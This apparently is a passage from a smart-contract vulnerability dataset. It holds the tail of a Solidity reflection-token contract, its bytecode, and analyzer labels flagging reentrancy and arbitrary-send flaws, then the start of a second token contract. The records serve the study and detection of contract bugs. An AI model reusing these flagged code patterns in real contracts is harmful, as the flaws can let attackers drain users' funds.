if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a1f565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec0565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e3565b610590565b6040516101a09190612ea5565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613062565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612994565b6105bf565b6040516102089190612ea5565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf4565b60405161024a91906130d7565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a60565b610bfd565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612906565b610caf565b005b3480156102b157600080fd5b506102ba610d9f565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612906565b610e11565b6040516102f09190613062565b60405180910390f35b34801561030557600080fd5b5061030e610e62565b005b34801561031c57600080fd5b50610325610fb5565b6040516103329190612dd7565b60405180910390f35b34801561034757600080fd5b50610350610fde565b60405161035d9190612ec0565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e3565b61101b565b60405161039a9190612ea5565b60405180910390f35b3480156103af57600080fd5b506103b8611039565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab2565b6110b3565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612958565b6111fc565b6040516104179190613062565b60405180910390f35b610428611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc2565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613378565b9150506104b8565b5050565b606060405180606001604052806023815260200161379b60239139905090565b60006105a461059d611283565b848461128b565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611456565b61068d846105d8611283565b610688856040518060600160405280602881526020016137be60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063e611283565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c159092919063ffffffff16565b61128b565b600190509392505050565b6106a0611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc2565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f02565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610925919061292f565b6040518363ffffffff1660e01b8152600401610942929190612df2565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610994919061292f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e11565b600080610a28610fb5565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e44565b6060604051808303818588803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adb565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9e929190612e1b565b602060405180830381600087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf09190612a89565b5050565b60006009905090565b610c05611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990612fc2565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb7611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3b90612fc2565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de0611283565b73ffffffffffffffffffffffffffffffffffffffff1614610e0057600080fd5b6000479050610e0e81611c79565b50565b6000610e5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d74565b9050919050565b610e6a611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612fc2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4150450000000000000000000000000000000000000000000000000000000000815250905090565b600061102f611028611283565b8484611456565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107a611283565b73ffffffffffffffffffffffffffffffffffffffff161461109a57600080fd5b60006110a530610e11565b90506110b081611de2565b50565b6110bb611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90612fc2565b60405180910390fd5b6000811161118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612f82565b60405180910390fd5b6111ba60646111ac83683635c9adc5dea000006120dc90919063ffffffff16565b61215790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f19190613062565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290613022565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136290612f42565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114499190613062565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90613002565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d90612ee2565b60405180910390fd5b60008111611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612fe2565b60405180910390fd5b611581610fb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ef57506115bf610fb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5257600f60179054906101000a900460ff1615611822573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117255750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176b611283565b73ffffffffffffffffffffffffffffffffffffffff1614806117e15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c9611283565b73ffffffffffffffffffffffffffffffffffffffff16145b611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613042565b60405180910390fd5b5b5b60105481111561183157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118de57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119895750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119df5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f75750600f60179054906101000a900460ff165b15611a985742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4757600080fd5b601e42611a549190613198565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa330610e11565b9050600f60159054906101000a900460ff16158015611b105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b285750600f60169054906101000a900460ff165b15611b5057611b3681611de2565b60004790506000811115611b4e57611b4d47611c79565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0357600090505b611c0f848484846121a1565b50505050565b6000838311158290611c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c549190612ec0565b60405180910390fd5b5060008385611c6c9190613279565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc960028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4560028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d70573d6000803e3d6000fd5b5050565b6000600654821115611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290612f22565b60405180910390fd5b6000611dc56121ce565b9050611dda818461215790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6e5781602001602082028036833780820191505090505b5090503081600081518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4e57600080fd5b505afa158015611f62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f86919061292f565b81600181518110611fc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061307d565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120ef5760009050612151565b600082846120fd919061321f565b905082848261210c91906131ee565b1461214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390612fa2565b60405180910390fd5b809150505b92915050565b600061219983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f9565b905092915050565b806121af576121ae61225c565b5b6121ba84848461228d565b806121c8576121c7612458565b5b50505050565b60008060006121db61246a565b915091506121f2818361215790919063ffffffff16565b9250505090565b60008083118290612240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122379190612ec0565b60405180910390fd5b506000838561224f91906131ee565b9050809150509392505050565b600060085414801561227057506000600954145b1561227a5761228b565b600060088190555060006009819055505b565b60008060008060008061229f876124cc565b9550955095509550955095506122fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123de816125dc565b6123e88483612699565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124459190613062565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a0683635c9adc5dea0000060065461215790919063ffffffff16565b8210156124bf57600654683635c9adc5dea000009350935050506124c8565b81819350935050505b9091565b60008060008060008060008060006124e98a6008546009546126d3565b92509250925060006124f96121ce565b9050600080600061250c8e878787612769565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c15565b905092915050565b600080828461258d9190613198565b9050838110156125d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c990612f62565b60405180910390fd5b8091505092915050565b60006125e66121ce565b905060006125fd82846120dc90919063ffffffff16565b905061265181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ae8260065461253490919063ffffffff16565b6006819055506126c98160075461257e90919063ffffffff16565b6007819055505050565b6000806000806126ff60646126f1888a6120dc90919063ffffffff16565b61215790919063ffffffff16565b90506000612729606461271b888b6120dc90919063ffffffff16565b61215790919063ffffffff16565b9050600061275282612744858c61253490919063ffffffff16565b61253490919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278285896120dc90919063ffffffff16565b9050600061279986896120dc90919063ffffffff16565b905060006127b087896120dc90919063ffffffff16565b905060006127d9826127cb858761253490919063ffffffff16565b61253490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280561280084613117565b6130f2565b9050808382526020820190508285602086028201111561282457600080fd5b60005b85811015612854578161283a888261285e565b845260208401935060208301925050600181019050612827565b5050509392505050565b60008135905061286d81613755565b92915050565b60008151905061288281613755565b92915050565b600082601f83011261289957600080fd5b81356128a98482602086016127f2565b91505092915050565b6000813590506128c18161376c565b92915050565b6000815190506128d68161376c565b92915050565b6000813590506128eb81613783565b92915050565b60008151905061290081613783565b92915050565b60006020828403121561291857600080fd5b60006129268482850161285e565b91505092915050565b60006020828403121561294157600080fd5b600061294f84828501612873565b91505092915050565b6000806040838503121561296b57600080fd5b60006129798582860161285e565b925050602061298a8582860161285e565b9150509250929050565b6000806000606084860312156129a957600080fd5b60006129b78682870161285e565b93505060206129c88682870161285e565b92505060406129d9868287016128dc565b9150509250925092565b600080604083850312156129f657600080fd5b6000612a048582860161285e565b9250506020612a15858286016128dc565b9150509250929050565b600060208284031215612a3157600080fd5b600082013567ffffffffffffffff811115612a4b57600080fd5b612a5784828501612888565b91505092915050565b600060208284031215612a7257600080fd5b6000612a80848285016128b2565b91505092915050565b600060208284031215612a9b57600080fd5b6000612aa9848285016128c7565b91505092915050565b600060208284031215612ac457600080fd5b6000612ad2848285016128dc565b91505092915050565b600080600060608486031215612af057600080fd5b6000612afe868287016128f1565b9350506020612b0f868287016128f1565b9250506040612b20868287016128f1565b9150509250925092565b6000612b368383612b42565b60208301905092915050565b612b4b816132ad565b82525050565b612b5a816132ad565b82525050565b6000612b6b82613153565b612b758185613176565b9350612b8083613143565b8060005b83811015612bb1578151612b988882612b2a565b9750612ba383613169565b925050600181019050612b84565b5085935050505092915050565b612bc7816132bf565b82525050565b612bd681613302565b82525050565b6000612be78261315e565b612bf18185613187565b9350612c01818560208601613314565b612c0a8161344e565b840191505092915050565b6000612c22602383613187565b9150612c2d8261345f565b604082019050919050565b6000612c45601a83613187565b9150612c50826134ae565b602082019050919050565b6000612c68602a83613187565b9150612c73826134d7565b604082019050919050565b6000612c8b602283613187565b9150612c9682613526565b604082019050919050565b6000612cae601b83613187565b9150612cb982613575565b602082019050919050565b6000612cd1601d83613187565b9150612cdc8261359e565b602082019050919050565b6000612cf4602183613187565b9150612cff826135c7565b604082019050919050565b6000612d17602083613187565b9150612d2282613616565b602082019050919050565b6000612d3a602983613187565b9150612d458261363f565b604082019050919050565b6000612d5d602583613187565b9150612d688261368e565b604082019050919050565b6000612d80602483613187565b9150612d8b826136dd565b604082019050919050565b6000612da3601183613187565b9150612dae8261372c565b602082019050919050565b612dc2816132eb565b82525050565b612dd1816132f5565b82525050565b6000602082019050612dec6000830184612b51565b92915050565b6000604082019050612e076000830185612b51565b612e146020830184612b51565b9392505050565b6000604082019050612e306000830185612b51565b612e3d6020830184612db9565b9392505050565b600060c082019050612e596000830189612b51565b612e666020830188612db9565b612e736040830187612bcd565b612e806060830186612bcd565b612e8d6080830185612b51565b612e9a60a0830184612db9565b979650505050505050565b6000602082019050612eba6000830184612bbe565b92915050565b60006020820190508181036000830152612eda8184612bdc565b905092915050565b60006020820190508181036000830152612efb81612c15565b9050919050565b60006020820190508181036000830152612f1b81612c38565b9050919050565b60006020820190508181036000830152612f3b81612c5b565b9050919050565b60006020820190508181036000830152612f5b81612c7e565b9050919050565b60006020820190508181036000830152612f7b81612ca1565b9050919050565b60006020820190508181036000830152612f9b81612cc4565b9050919050565b60006020820190508181036000830152612fbb81612ce7565b9050919050565b60006020820190508181036000830152612fdb81612d0a565b9050919050565b60006020820190508181036000830152612ffb81612d2d565b9050919050565b6000602082019050818103600083015261301b81612d50565b9050919050565b6000602082019050818103600083015261303b81612d73565b9050919050565b6000602082019050818103600083015261305b81612d96565b9050919050565b60006020820190506130776000830184612db9565b92915050565b600060a0820190506130926000830188612db9565b61309f6020830187612bcd565b81810360408301526130b18186612b60565b90506130c06060830185612b51565b6130cd6080830184612db9565b9695505050505050565b60006020820190506130ec6000830184612dc8565b92915050565b60006130fc61310d565b90506131088282613347565b919050565b6000604051905090565b600067ffffffffffffffff8211156131325761313161341f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a3826132eb565b91506131ae836132eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e3576131e26133c1565b5b828201905092915050565b60006131f9826132eb565b9150613204836132eb565b925082613214576132136133f0565b5b828204905092915050565b600061322a826132eb565b9150613235836132eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326e5761326d6133c1565b5b828202905092915050565b6000613284826132eb565b915061328f836132eb565b9250828210156132a2576132a16133c1565b5b828203905092915050565b60006132b8826132cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330d826132eb565b9050919050565b60005b83811015613332578082015181840152602081019050613317565b83811115613341576000848401525b50505050565b6133508261344e565b810181811067ffffffffffffffff8211171561336f5761336e61341f565b5b80604052505050565b6000613383826132eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b6576133b56133c1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375e816132ad565b811461376957600080fd5b50565b613775816132bf565b811461378057600080fd5b50565b61378c816132eb565b811461379757600080fd5b5056fe4170657374726f6e617574207c20742e6d652f6170657374726f6e617574657263323045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200bfff3b67ff8f4dedb23766b2759c386b995ab1eb9d3e2c4fc17b11575a083c764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,286 |
0x9a60e133d8382904563a7ce9490ef53f92ff4c01
|
/*
* BAOXCOIN Cryptoshare Source Code
* www.localcoinswap.com
*/
pragma solidity ^0.4.19;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
